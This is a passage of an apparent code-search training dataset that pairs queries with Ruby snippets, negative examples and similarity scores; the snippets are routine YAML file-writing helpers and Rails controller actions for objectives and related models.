"0.5179147",
"0.51765925",
"0.5164883",
"0.5162401",
"0.5156363",
"0.51559204",
"0.51555866",
"0.51387346",
"0.51295984",
"0.51288575",
"0.5128435",
"0.51113915",
"0.51058376",
"0.5093457",
"0.50909835",
"0.50841403",
"0.5081323",
"0.50811034",
"0.50800323",
"0.50800323",
"0.50800323",
"0.50800323",
"0.50800323",
"0.5078521",
"0.50712645",
"0.50701916",
"0.5061573",
"0.5047205",
"0.5046575",
"0.5046575",
"0.50452137",
"0.50416917",
"0.50413907",
"0.5040259",
"0.5040259",
"0.5039639",
"0.50311506",
"0.502731"
] | 0.0 | -1 |
Writes the YAML representation into a file | def write(path, flatten: false, minify: false)
File.write(path, to_yaml(flatten: flatten, minify: minify))
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_file filename\n File.open(filename, 'w') do |io|\n io.write self.to_yaml\n end\n end",
"def write\n require 'yaml'\n open config_file_name, 'w' do |io|\n io.write to_yaml\n end\n end",
"def save\n File.open(yaml_file, 'w') {|f| f.write(to_yaml) }\n end",
"def to_file( filename )\n File.open( filename, 'w' ) do |f|\n f.write( to_yaml )\n end\n end",
"def write(filename)\n File.open(filename, 'w') { |f| YAML.dump(self, f) }\n end",
"def save\n File.open(file_path, 'w') do |file|\n YAML.dump(data, file)\n end\n end",
"def save\n File.open(path, 'w') do |out|\n YAML.dump(data, out)\n end\n end",
"def save\n File.open(file, \"w\") {|f| f.write(to_hash.to_yaml) }\n end",
"def save\n File.open(file_name, 'w') { |f| f.write config.to_yaml }\n end",
"def save\n ::File.open(@file, \"w\") { |file| file << self.to_hash.to_yaml }\n end",
"def write_yaml\n File.open(@path, \"w\") do |f| \n if [email protected]?\n f.write @comments.join(\"\\n\")\n f.write(\"\\n\")\n end\n f.write YAML.dump(yaml)\n end\n end",
"def save\n File.open(file, \"w\") {|f| f.write(to_hash.to_yaml) }\n end",
"def write(filename, hash)\n File.open(filename, \"w\") { |f| f.write(hash.to_yaml) }\nend",
"def write_to_yaml(data,yaml_file) \n File.open(yaml_file,'w') { |yf| YAML.dump(data,yf) }\nend",
"def write_yml(filename,object)\n File.open(filename,'w') do |f|\n f.write(YAML.dump(object))\n end\n end",
"def yaml_save(object, filename)\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend",
"def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend",
"def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend",
"def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend",
"def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend",
"def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend",
"def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend",
"def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend",
"def yaml_save object, filename\nFile.open filename, 'w' do |f| f.write(object.to_yaml)\nend end",
"def yaml_save(object, filename)\n File.open (filename), \"w\" do |f|\n f.write(object.to_yaml)\n end\nend",
"def write_yaml_data_file filename, data\n File.open(filename, 'w') { |f| f << YAML.dump(data) }\nend",
"def write_yaml_data_file filename, data\n File.open(filename, 'w') { |f| f << YAML.dump(data) }\nend",
"def write(filename, hash)\n File.open(filename, \"a\") do |f|\n f.write(yaml(hash))\n end\nend",
"def yaml_save object, filename\n\tFile.open filename, 'w' do |f|\n\t\tf.write(object.to_yaml)\n\tend\nend",
"def yaml_save object, filename\n\tFile.open filename, 'w' do |f|\n\t\tf.write(object.to_yaml)\n\tend\nend",
"def save\n File.write(yfile, to_yaml)\n end",
"def save\n require 'yaml'\n File.open(output_file, 'w') { |f| f.puts(generate.to_yaml) }\n end",
"def save( file )\n begin\n File.open( file, 'w' ) { |f| f.write( YAML.dump( self ) ) }\n rescue\n File.open( file, 'wb' ) { |f| f.write( Marshal.dump( self ) ) }\n end\n end",
"def save\n open @config_path, 'w' do |io|\n io.write({'files' => @files.collect(&:to_hash)}.to_yaml)\n end\n end",
"def write_yaml(stations)\n log(' - Writing YAML...', false)\n File.open(YAML_PATH.to_s, 'w') { |file| file.write(stations.to_yaml) }\n log('DONE')\nend",
"def to_yaml\n # write yaml\n end",
"def store\n File.open(@file_name, 'w') do |file|\n file.write YAML::dump(@data)\n end\n end",
"def write_config\n File.open(@config_file, \"w\"){|f| YAML.dump(config, f)}\n end",
"def save\n @filename = @filename || gen_filename\n file = File.open(File.join(@dir, @filename), 'w') { |f|\n f.puts @issue.to_yaml\n }\n end",
"def save\n if !Dir.exists? @config_directory\n FileUtils.mkdir_p @config_directory\n end\n\n open(@file, 'w').write @main.to_yaml\n end",
"def write_to_fixture(name)\n File.open(self.class.file_path(name), \"w\") do |file|\n file.write to_yaml\n end\n end",
"def yaml_dump(file, obj)\n\t\tFile.open(file.to_s, 'w+') {|f| f.write obj.to_yaml}\n\tend",
"def write_to_file(high_score)\n file = File.open(\"data/highscores.yml\",\"a+\"){ |file| file.write(high_score.to_yaml)}\nend",
"def save_settings\n File.open(@path, \"w\") do |file|\n file.write @settings.to_yaml\n end\n end",
"def to_yaml\n\t\tFile.write(\"save.yaml\", YAML.dump({\n\t\t\t:board => @board.board,\n\t\t\t:positions => @board.positions,\n\t\t\t:current_turn => @current_turn,\n\t\t\t:ai_on => @ai_on\n\t\t\t}))\n\tend",
"def save(dir = \".\")\n File.open(File.join(dir, \"#{name}.yaml\"), 'w') do |f|\n f.print YAML.dump(self)\n end\n end",
"def dump(hash)\n File.write(@fp.path, YAML.dump(hash))\n end",
"def save_yaml( f_enzyme, f_reference=nil, f_supplier=nil )\n File.open(f_enzyme, 'w') { |f| f.puts YAML.dump(@enzyme_data) }\n File.open(f_reference, 'w') { |f| f.puts YAML.dump(@reference_data) } if f_reference\n File.open(f_supplier, 'w') { |f| f.puts YAML.dump(@supplier_data) } if f_supplier\n end",
"def write_to_yaml_file(dest_path = nil)\n if dest_path.nil?\n file = Tempfile.new('config')\n file.close\n dest_path = file.path\n # deleting temp file but reusing file name. This is to avoid premature garbage collection.\n file.unlink\n end\n File.open(dest_path, 'w') do |f|\n f.write(@config.to_yaml)\n end\n dest_path\n end",
"def yaml_save(packages)\n FileUtils.mkdir_p(File.dirname(yaml_file))\n File.open(yaml_file, \"w\") do |file|\n file.write(packages.to_yaml)\n end\n end",
"def to_yml outfile, arr = @arr\n require 'yaml'\n # cannot just convert / to __ in filename since path gets converted too\n #if outfile.index(\"/\")\n #outfile = outfile.gsub(\"/\",\"__\")\n #end\n File.open(outfile, 'w' ) do |f|\n f << YAML::dump(arr)\n end\n end",
"def save!(file=nil)\n file = file || @file || self.class.default_filename\n file = @root + file if String === file\n now! # update date\n File.open(file, 'w'){ |f| f << yaml }\n end",
"def dump(filename)\n File.open(filename,'w') do |f|\n YAML.dump(self.to_hash,f)\n end\n end",
"def persist!\n raise \"Robut::Storage::YamlStore.file must be set\" unless file\n File.open(file, \"w\") do |f|\n f.puts internal.to_yaml\n end\n end",
"def ouput_yaml\n array = Array.new(@size * @size, 0)\n File.open('test_yaml.out', 'w') { |file| file.puts YAML.dump(array) }\n end",
"def save_file\r\n @saved = true\r\n saving\r\n Dir.mkdir(\"saves\") unless Dir.exists? \"saves\"\r\n File.open(\"my_save.yaml\", \"w\") {|f| f.puts YAML::dump(self) }\r\n end",
"def write_board\n data = YAML.dump(@scores)\n File.write(@filename, data)\n end",
"def save!\n filepath.dirname.mkpath\n filepath.open( \"w\" ) do |f|\n f << YAML.dump( @entries )\n end\n clear_modified\n true\n end",
"def save(file = nil)\n @file = file if file\n raise Error.new(Error::FileError) unless @file\n File.open(@file, 'w') do |f|\n f.puts(@prefix) if @prefix\n YAML.dump(@cfg, f)\n f.puts ''\n f.puts(@suffix) if @suffix\n end\n end",
"def write_to_file(workbook, file_loc)\r\n yml_file = File.join(SAF::DATA_YML, \"#{workbook.sheet_name}.yml\")\r\n File.open(yml_file, \"w\") do |file|\r\n file.puts(\"#Workbook: \" + file_loc)\r\n file.puts(\"#Worksheet: \" + workbook.sheet_name)\r\n file.puts(@test_data.to_yaml)\r\n end\r\n end",
"def save_yaml(yaml)\n yaml_file = File.join(thor_root, \"thor.yml\")\n\n unless File.exist?(yaml_file)\n FileUtils.mkdir_p(thor_root)\n yaml_file = File.join(thor_root, \"thor.yml\")\n FileUtils.touch(yaml_file)\n end\n\n File.open(yaml_file, \"w\") { |f| f.puts yaml.to_yaml }\n end",
"def dump_yaml!(filepath,translations)\n return if translations.blank?\n FileUtils.mkdir_p(@dirpath) unless File.exists?(@dirpath)\n File.open(filepath, 'w+') { |f| YAML::dump(translations, f) } \n end",
"def save()\n File.open(CONFIG_FILE, 'w'){ |f| f.write config.to_yaml } # Store\n end",
"def save_yaml(path=nil)\n unless path\n # Display file explorer\n path = Qt::FileDialog.getSaveFileName(self, \"Save configuration file\", \"./myconfig.yml\", \"YAML Files (*.yml *.yaml)\")\n end\n\n begin\n config_hash = Hash.new\n @container_hash.each do |pos, container|\n config_hash[pos] = container.config\n end\n File.open(path, \"w\") {|f| f.write(config_hash.to_yaml) }\n rescue Exception => e\n Vizkit.error \"A problem occured while trying to write configuration to '#{path}': \\n#{e.message}\"\n end\n end",
"def save_data\n puts \"saving data\"\n\n File.open(generate_filename(self), \"w\") do |f|\n f.write(ostruct_to_hash(self.json).to_yaml)\n end\n end",
"def write()\n\t\tdata = {\"rows\"=>@rows, \"cols\"=>@cols , \"moves\"=>@moves , \"time\"=> @time, \"nbGames\" => @nbGames}\n\t\tFile.open(@path, \"w\") {|out| out.puts data.to_yaml }\n\t\treturn self\n\tend",
"def dump\n File.open(@meta_data_file_location,'w') { |f| f.write(YAML.dump(@meta_data))}\n end",
"def save( file = @hobix_yaml )\n unless file\n raise ArgumentError, \"Missing argument: path to save configuration (0 of 1)\"\n end\n File::open( file, 'w' ) do |f|\n YAML::dump( self, f )\n end\n self\n end",
"def output_yaml_errors\n File.open(@options['output-file'], 'w+') do |file|\n file.write YAML.dump(errors)\n end\n end",
"def save(path_or_io)\n yaml = YAML.dump(to_yaml_hash)\n\n case path_or_io\n when String, Pathname\n File.open(path_or_io, 'w') { |f| f.write(yaml) }\n else\n path_or_io.write(yaml)\n end\n end",
"def save!(file_path)\n File.open(file_path, \"w\") do |f|\n f.write(YAML.dump(@log))\n end\n end",
"def dump\n File.open(\"saved_games.yaml\", \"a\") do |out|\n YAML::dump(self, out)\n end\n end",
"def save\n File.open(SETTING_FILE, 'w') do |file|\n file.write @values.to_yaml\n end\n end",
"def write key, value\n @content[key] = value\n File.open(@file_path, 'w') { |f| YAML.dump(@content, f) }\n end",
"def write_box(boxfile)\n f = File.new(boxfile,\"w\")\n f.write(@boxes.to_yaml)\n f.close\n end",
"def save\n \tdata = self\n \t\n \tFile.open('store.yml','w') do |f|\n \t\tf.write(data.to_yaml)\n \tend\n \tputs data\n \tputs \"Saved!\"\n \tputs \"\"\n end",
"def yaml_save(filename, to_save)\n\t\tbegin\n\t\t\tFile.open(filename, 'w') do |file|\n\t\t\t\tfile.write(to_save.to_yaml)\n\t\t\tend\n\t\t\ttrue\n\t\trescue\n\t\t\tputs \"Unable to save to file '#{ filename }'.\"\n\t\t\tnil\n\t\tend\n\tend",
"def write_post(path, metadata, content = nil)\n File.open(path, 'w') do |f|\n f.puts metadata.to_yaml\n f.puts '---'\n f.puts content\n end\nend",
"def save(filename)\n FileUtils.mkdir_p(File.dirname(filename))\n File.write(filename, YAML.dump(@metadata) + \"---\\n#{text}\")\n end",
"def write_to_file\n newline\n say \"Writing fixtures to YAML files\"\n records_by_table_name = {}\n\n self.models.each do |model_class, table_name|\n # Load all records of this model.\n records_by_table_name[table_name] ||= []\n records_by_table_name[table_name] += model_class.all\n end\n\n records_by_table_name.each do |table_name, records|\n yaml_data = \"\"\n\n if records.any?\n # Sequence number for records for which we do not have names.\n i = \"0\"\n data_array = []\n\n records.uniq.each do |record|\n # Get the name given for this record while populating. If not\n # available (autogenerated through callbacks), use a sequence number\n # prefixed by the table name.\n fixture_name = self.fixture_name_map[record] || \"#{table_name}_#{i.succ!}\"\n attrs = record.attributes\n attrs['delta'] = false if attrs.key?('delta')\n data_array << {fixture_name => attrs}.to_yaml.gsub(/--- \\n/, \"\")\n end\n\n yaml_data = data_array.join(\"\\n\")\n\n File.open(\"#{RAILS_ROOT}/test/fixtures/#{table_name}.yml\", \"w\") do |file|\n file.write yaml_data\n end\n end\n dot\n end\n end",
"def save_solution(filename)\n raise ArgumentError, \"Argument must be a file name\" unless filename.kind_of? String\n File.open(filename, 'w') { |file| YAML.dump(@ocp_solution, file) }\n end",
"def save_queen(filename)\n File.open(filename, \"w+\") { |f| f.puts self.to_hash.to_yaml}\n end",
"def save\n unless @filespec.nil?\n yaml_filespec = @filespec.ext('.yaml')\n if !File.exist?(yaml_filespec) || (File.mtime(@filespec) > File.mtime(yaml_filespec))\n @logger.info { \"saving: #{yaml_filespec}\" }\n File.open(yaml_filespec, \"w\") do |f|\n YAML.dump(\n {\n :title_isbn_hash => @title_isbn_hash,\n :isbn_title_hash => @isbn_title_hash,\n :isbn_dvd_hash => @isbn_dvd_hash,\n }, f)\n end\n else\n @logger.info { \"not saving, yaml file is newer than xml file\" }\n end\n else\n @logger.error { \"can not save, the filespec is nil\" }\n end\n end",
"def save\n if any?\n FileUtils.mkdir_p basedir if !Dir.exist? basedir\n backup if @backup\n\n # I do this the long way because I want an immediate sync.\n f = open(@file, 'w')\n f.write YAML::dump self\n f.sync\n f.close\n\n set_mode if @mode\n end\n true\n end",
"def dump_yaml!\n FileUtils.mkdir_p LOCALE_DIR\n File.open(STANDARD_LOCALE_FILE,'w+') { |f| YAML::dump(@translations, f) } \n end",
"def write_options\n RDoc.load_yaml\n\n File.open '.rdoc_options', 'w' do |io|\n io.set_encoding Encoding::UTF_8\n\n io.print to_yaml\n end\n end",
"def to_yaml(file=nil)\n hsh = to_hash\n string = hsh.to_yaml\n if file\n File.open(file, 'w') {|v| v.print string }\n end\n string\n end",
"def save_to_file(path)\n variables_to_save = instance_variables.reject { |v| v =~ /_proc$/ || v =~ /^@med/ }\n File.open(path, 'w') { |f| f.puts(\n variables_to_save.inject({}) { |h,n| h[n] = instance_variable_get(n); h }.to_yaml\n ) }\n end",
"def dotfile!( name )\n File.open( dotfile( name ), \"w\" ) do |f|\n h = { 'name' => self.name, 'version' => self.version, \"#{name}_timestsamp\" => Time.now }\n f.puts h.to_yaml\n end\n end",
"def storeTree(inTree, filename)\n File.open(filename, \"w\") do |file|\n file.puts YAML::dump(inTree)\n end\n end",
"def save(path = self.path)\n File.open(path, 'w') do |io|\n marshalled_packages = packages.values.map do |v|\n Hash['name' => v.name,\n 'srcdir' => v.srcdir,\n 'builddir' => (v.builddir if v.respond_to?(:builddir)),\n 'prefix' => v.prefix,\n 'dependencies' => v.dependencies]\n end\n YAML.dump(marshalled_packages, io)\n end\n end",
"def write_out_state\n if @options[:out_file]\n filename = @options[:out_file]\n else\n filename = @tmp_state\n end\n @log.debug \"Writing out state into #{filename}\"\n File.open(filename,'w') do |f|\n f.puts YAML.dump(@results)\n end\n end",
"def save_configuration\n File.open(config_file, \"w\") do |file|\n file.write(YAML.dump(@config))\n end\n end",
"def generate_save\n YAML.dump(self)\n end",
"def save_moves\n\t\tFile.open(@filename, 'w') {|f| f.write(@past_moves.to_yaml)}\n\tend",
"def make_file_package(path, content, options = {})\n path.dirname.mkpath\n\n path.open('w') do |f|\n if options.any?\n f.puts stringify_hash_keys(options).to_yaml\n f.puts '---'\n end\n\n f.puts content\n end\nend",
"def save(hash)\n File.open(\"#{@directory}/#{@store}.yml\", 'w+') {|f| f.write(hash.to_yaml) }\n end",
"def save\n File.open( @plugins_file, 'w' ) do |out|\n YAML.dump( @plugins, out )\n end\n end",
"def write(io=@resource)\n File.open(io, 'w+') do |f|\n f << YAML::dump(@con)\n end\n \n if io == @resource\n reload_from_file\n end\n end",
"def store ( yml, name )\n storefile = File.new( name, \"w\")\n storefile.puts(yml)\n storefile.close\n return [yml]\n end"
] | [
"0.7928384",
"0.7840288",
"0.77622116",
"0.7744286",
"0.758124",
"0.751198",
"0.74911135",
"0.7477626",
"0.74679995",
"0.7437515",
"0.7426743",
"0.739853",
"0.7371462",
"0.7311505",
"0.73042125",
"0.7298511",
"0.7288199",
"0.7288199",
"0.7288199",
"0.7288199",
"0.7288199",
"0.7288199",
"0.7288199",
"0.72808665",
"0.7254239",
"0.7214189",
"0.7214189",
"0.72083414",
"0.72080934",
"0.72080934",
"0.7132168",
"0.7114649",
"0.70998937",
"0.7064253",
"0.7016072",
"0.6997641",
"0.69925946",
"0.6935384",
"0.68828434",
"0.68266475",
"0.6815636",
"0.6797462",
"0.6782628",
"0.6782571",
"0.67796177",
"0.67647976",
"0.6763313",
"0.67138726",
"0.6692284",
"0.6678456",
"0.66405886",
"0.6633576",
"0.6627944",
"0.66263753",
"0.6617569",
"0.66053295",
"0.66051394",
"0.65869415",
"0.658431",
"0.6564097",
"0.65563",
"0.6548129",
"0.65440315",
"0.6517687",
"0.6499474",
"0.64918596",
"0.6446562",
"0.6439213",
"0.64363414",
"0.64318305",
"0.64220685",
"0.6408375",
"0.6389212",
"0.6389047",
"0.63661873",
"0.6364564",
"0.6352563",
"0.6349234",
"0.63477826",
"0.6324786",
"0.6313279",
"0.6310587",
"0.6301897",
"0.6294422",
"0.6286399",
"0.6281397",
"0.62680095",
"0.62633157",
"0.62610084",
"0.62540907",
"0.62327856",
"0.6217214",
"0.6216913",
"0.62026167",
"0.61846286",
"0.6183908",
"0.6178849",
"0.6175638",
"0.61655384",
"0.61249274"
] | 0.6860202 | 39 |
POST /strategic_objectives POST /strategic_objectives.json | def create
@strategic_objective = StrategicObjective.new(strategic_objective_params)
if @strategic_objective.save
flash[:success] = 'Strategic objective was successfully created.'
redirect_to :back
else
flash[:danger] = 'Strategic objective was not created.'
redirect_to :back
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @objective = @goal.objectives.create(objective_params)\n render json: @objective\n end",
"def create\n @objective = Objective.new(objective_params)\n\n respond_to do |format|\n if @objective.save\n format.html { redirect_to objectives_path }\n format.json { render :show, status: :created, location: @objective }\n else\n format.html { render :new }\n format.json { render json: @objective.errors, status: :unprocessable_entity }\n end\n end\n end",
"def strategic_objective_params\n params.require(:strategic_objective).permit(:name)\n end",
"def create\n @objective = current_user.objectives.create(params[:objective])\n\n respond_to do |format|\n if @objective.save\n format.html { redirect_to @objective, notice: 'Objective was successfully created.' }\n format.json { render json: @objective, status: :created, location: @objective }\n else\n format.html { render action: \"new\" }\n format.json { render json: @objective.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @objectives = @goal.objectives.all \n render json: @objectives \n end",
"def create\n @objective_textual = ObjectiveTextual.new(objective_textual_params)\n\n respond_to do |format|\n if @objective_textual.save\n format.html { redirect_to @objective_textual, notice: 'Objective textual was successfully created.' }\n format.json { render :show, status: :created, location: @objective_textual }\n else\n format.html { render :new }\n format.json { render json: @objective_textual.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project_objective = @project.project_objectives.new(params[:project_objective])\n\n respond_to do |format|\n if @project_objective.save\n format.html { redirect_to(edit_project_by_action_type_path(@project, \"objective\"), :notice => 'Project objective was successfully created.') }\n format.xml { render :xml => @project_objective, :status => :created, :location => @project_objective }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project_objective.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @recipe = Recipe.new(recipe_params)\n @recipe.uuid = SecureRandom.uuid\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe.objective}\n format.json { render :show, status: :created, location: @recipe.objective }\n else\n format.html { render :new }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n if @strategic_objective.update(strategic_objective_params)\n flash[:success] = 'Strategic objective was successfully updated.'\n redirect_to :back\n else\n flash[:danger] = 'Strategic objective was not updated.'\n redirect_to :back\n end\n end",
"def set_objective\n @objective = @goal.objectives.find_by(id: params[:id])\n end",
"def objective_params\n params.require(:objective).permit(:description)\n end",
"def create\n @program_educational_objective = ProgramEducationalObjective.new(program_educational_objective_params)\n\n respond_to do |format|\n if @program_educational_objective.save\n format.html { redirect_to @program_educational_objective, notice: 'Program educational objective was successfully created.' }\n format.json { render :show, status: :created, location: @program_educational_objective }\n else\n format.html { render :new }\n format.json { render json: @program_educational_objective.errors, status: :unprocessable_entity }\n end\n end\n end",
"def objective_params\n params.require(:objective).permit(:title, :description, :operative_plan_id,\n :municipio, :budget, :budget_clasificador,\n :product, :trimestre, :cantidad )\n end",
"def short_term_objective\n @user = User.find(params[:data])\n per_page = params[:obj_per_page] || 5\n short_term_id = params[:obj_id] || \"\"\n\n @current_title = @user.current_title\n if short_term_id == \"\"\n @max_length = @current_title.short_term_objectives.count\n @short_term_objectives = @current_title.short_term_objectives.limit(per_page).order(\"created_at desc\")\n else\n @max_length = 1\n @short_term_objectives = @current_title.short_term_objectives.where(id: short_term_id).order(\"created_at desc\")\n end\n render :layout => false\n end",
"def create\n @predetermined_objective = PredeterminedObjective.new(predetermined_objective_params)\n\n if @predetermined_objective.save\n flash[:success] = 'Predetermined Objective was successfully created.'\n redirect_to :back\n else\n flash[:danger] = 'Predetermined Objective was not created.'\n redirect_to :back\n end\n end",
"def new\n @objective = Objective.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @objective }\n end\n end",
"def create\n @base_objective = BaseObjective.new(base_objective_params)\n\n if @base_objective.save\n head 200\n end\n end",
"def create\n objective = params[:objective]\n company_key_result_id = params[:company_key_result_id]\n team_id = params[:team_id]\n\n status = TeamObjective.new_team_objective(objective, company_key_result_id, current_user.id, team_id)\n\n respond_to do |format|\n if status == 200 \n format.json { render json: 'Team Objective is created successfully!', status: :ok }\n else\n format.json { render json: 'Fail to create team objective!', status: :unprocessable_entity }\n end\n end\n end",
"def index\n @objectives = current_user.objectives.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @objectives }\n end\n end",
"def create\n @criterion = Criterion.new(params[:criterion])\n\n if @criterion.save\n render json: @criterion, status: :created, location: @criterion\n else\n render json: @criterion.errors, status: :unprocessable_entity\n end\n end",
"def predetermined_objective_params\n params.require(:predetermined_objective).permit(:name)\n end",
"def communicate_objective_function(objectives, _ = nil)\r\n obj_fun_file = \"#{@options[:output_directory]}/objectives.json\"\r\n FileUtils.rm_f(obj_fun_file) if File.exist?(obj_fun_file)\r\n File.open(obj_fun_file, 'w') { |f| f << JSON.pretty_generate(objectives) }\r\n end",
"def communicate_objective_function(objectives, _ = nil)\n # obj_fun_file = \"#{@options[:output_directory]}/objectives.json\"\n # FileUtils.rm_f(obj_fun_file) if File.exist?(obj_fun_file)\n # File.open(obj_fun_file, 'w') { |f| f << JSON.pretty_generate(objectives) }\n end",
"def create\n # @solution = Solution.new(solution_params)\n # @goal = Goal.find(params[:goal_id])\n @solution = @goal.solutions.new(solution_params)\n\n\n respond_to do |format|\n if @solution.save\n format.html { redirect_to project_goal_path(@project, @goal), notice: 'Solution was successfully created.' }\n format.json { render :show, status: :created, location: @solution }\n else\n format.html { render :new }\n format.json { render json: @solution.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ontology = Ontology.new(ontology_params)\n\n respond_to do |format|\n if @ontology.save\n format.html { redirect_to @ontology, notice: 'Ontology was successfully created.' }\n format.json { render :show, status: :created, location: @ontology }\n else\n format.html { render :new }\n format.json { render json: @ontology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @improvement = Improvement.new (improvement_params)\n @improvement.user_id = current_user.id\n @status = Status.all\n @responsible = User.all\n\n respond_to do |format|\n if @improvement.save\n format.html { redirect_to @improvement, notice: 'Tarefa foi criada com sucesso.' }\n format.json { render :show, status: :created, location: @improvement }\n else\n format.html { render :new }\n format.json { render json: @improvement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n objective = params[:objective]\n team_key_result_id = params[:team_key_result_id]\n status = PersonalObjective.new_personal_objective(objective, team_key_result_id, current_user.id)\n respond_to do |format| \n if status == 200\n format.json { render json: 'Personal Objective is created successfully!', status: :ok }\n else\n format.json { render json: 'Personal Objective must be more than 5 characters!', status: :ok }\n end\n end\n end",
"def destroy\n @strategic_objective.destroy\n flash[:success] = 'Strategic objective was successfully deleted.'\n redirect_to :back\n end",
"def create\n @pedagogy_innovation = @_current_user.pedagogy_innovations.new(pedagogy_innovation_params)\n\n respond_to do |format|\n if not @pedagogy_innovation.save\n format.html { redirect_to @pedagogy_innovation, notice: 'Pedagogy innovation was successfully created.' }\n format.json { render :show, status: :created, location: @pedagogy_innovation }\n else\n format.html { render :new }\n format.json { render json: @pedagogy_innovation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @situation = Situation.new(situation_params)\n @situations = Situation.all\n\n respond_to do |format|\n if @situation.save\n format.html { redirect_to '/'[email protected]_s, notice: 'Situation was successfully created.' }\n format.json { render :show, status: :created, location: @situation }\n set_parent_choice(params[:oid], params[:obutton], @situation.id)\n else\n format.html { render :new }\n format.json { render json: @situation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @objective_result = ObjectiveResult.new(params[:objective_result])\n\n respond_to do |format|\n if @objective_result.save\n format.html { redirect_to @objective_result, notice: 'Objective result was successfully created.' }\n format.json { render json: @objective_result, status: :created, location: @objective_result }\n else\n format.html { render action: \"new\" }\n format.json { render json: @objective_result.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n authorize @objective.strategy\n @objective.destroy\n respond_to do |format|\n format.html { redirect_to objectives_url }\n format.json { head :no_content }\n end\n end",
"def index\n @objectives = Objective.all\n end",
"def objective_path\n \"objectives/#{params[:user][:quests_attributes][:objective_id]}\"\n end",
"def create\n @optin_contestant = OptinContestant.new(params[:optin_contestant])\n\n respond_to do |format|\n if @optin_contestant.save\n format.html { redirect_to @optin_contestant, notice: 'Optin contestant was successfully created.' }\n format.json { render json: @optin_contestant, status: :created, location: @optin_contestant }\n else\n format.html { render action: \"new\" }\n format.json { render json: @optin_contestant.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @judgement = Judgement.new(params[:judgement])\n\n respond_to do |format|\n if @judgement.save\n format.html { redirect_to @judgement, notice: 'Judgement was successfully created.' }\n format.json { render json: @judgement, status: :created, location: @judgement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @judgement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @judgement = Judgement.new(params[:judgement])\n\n respond_to do |format|\n if @judgement.save\n format.html { redirect_to @judgement, notice: 'Judgement was successfully created.' }\n format.json { render json: @judgement, status: :created, location: @judgement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @judgement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @objective_image = ObjectiveImage.new(objective_image_params)\n\n respond_to do |format|\n if @objective_image.save\n format.html { redirect_to @objective_image, notice: 'Objective image was successfully created.' }\n format.json { render :show, status: :created, location: @objective_image }\n else\n format.html { render :new }\n format.json { render json: @objective_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advocacy = Advocacy.new(params[:advocacy])\n\n respond_to do |format|\n if @advocacy.save\n format.html { redirect_to @advocacy, notice: 'Advocacy was successfully created.' }\n format.json { render json: @advocacy, status: :created, location: @advocacy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @advocacy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @criterion = Criterion.new(params[:criterion])\n\n respond_to do |format|\n if @criterion.save\n format.html { redirect_to @criterion, notice: 'Criterion was successfully created.' }\n format.json { render json: @criterion, status: :created, location: @criterion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @criterion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @olympicmedal = Olympicmedal.new(olympicmedal_params)\n\n respond_to do |format|\n if @olympicmedal.save\n format.html { redirect_to @olympicmedal, notice: 'Olympicmedal was successfully created.' }\n format.json { render :show, status: :created, location: @olympicmedal }\n else\n format.html { render :new }\n format.json { render json: @olympicmedal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @objective = Objective.new(objective_params)\n authorize @objective.strategy, :create_objective?\n @objective.uuid = SecureRandom.uuid\n direction = params[:objective][:direction]\n dependency = params[:objective][:dependency]\n next_id = params[:objective][:next_id]\n master_id = params[:objective][:master_id]\n @objective.next_id = nil if direction == \"previous\"\n @objective.master_id = nil if dependency == \"slave\"\n \n respond_to do |format|\n if @objective.save\n if direction == \"previous\" && next_id.to_i > 0\n @objective.previous.push Objective.find(next_id)\n end\n if dependency == \"slave\" && master_id.to_i > 0\n @objective.slaves.push Objective.find(master_id)\n end\n\n format.html { redirect_to @objective.strategy }\n format.json { render :show, status: :created, location: @objective.strategy }\n else\n format.html { render :new }\n format.json { render json: @objective.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @objective = Objective.find(params[:id])\n @objective.destroy\n\n respond_to do |format|\n format.html { redirect_to objectives_url }\n format.json { head :no_content }\n end\n end",
"def create\n @enhancement = Enhancement.new(params[:enhancement])\n\n respond_to do |format|\n if @enhancement.save\n format.html { redirect_to @enhancement, notice: 'Enhancement was successfully created.' }\n format.json { render json: @enhancement, status: :created, location: @enhancement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @enhancement.errors, status: :unprocessable_entity }\n end\n end\n end",
